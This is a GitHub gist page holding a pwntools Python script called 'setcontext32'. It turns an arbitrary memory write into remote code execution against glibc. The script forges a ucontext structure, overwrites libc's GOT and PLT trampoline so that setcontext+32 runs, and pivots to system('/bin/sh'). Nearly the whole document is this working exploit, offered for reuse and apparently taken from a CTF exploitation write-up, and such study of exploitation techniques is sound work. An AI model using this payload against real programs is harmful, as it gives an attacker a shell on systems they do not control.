Skip to content

Instantly share code, notes, and snippets.

@k4lizen
Last active April 13, 2024 02:59
Show Gist options
  • Save k4lizen/13b48967009bee57ea94079c787decf5 to your computer and use it in GitHub Desktop.
Save k4lizen/13b48967009bee57ea94079c787decf5 to your computer and use it in GitHub Desktop.
setcontext32 payload to turn arbitrary write to RCE
# from https://hackmd.io/@pepsipu/SyqPbk94a
from pwn import *
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
if __name__ == "__main__":
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6", checksec=False)
dest, payload = setcontext32(
libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)
print(f"addr: {hex(dest)} len: {len(payload)} payload: {payload.hex()}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment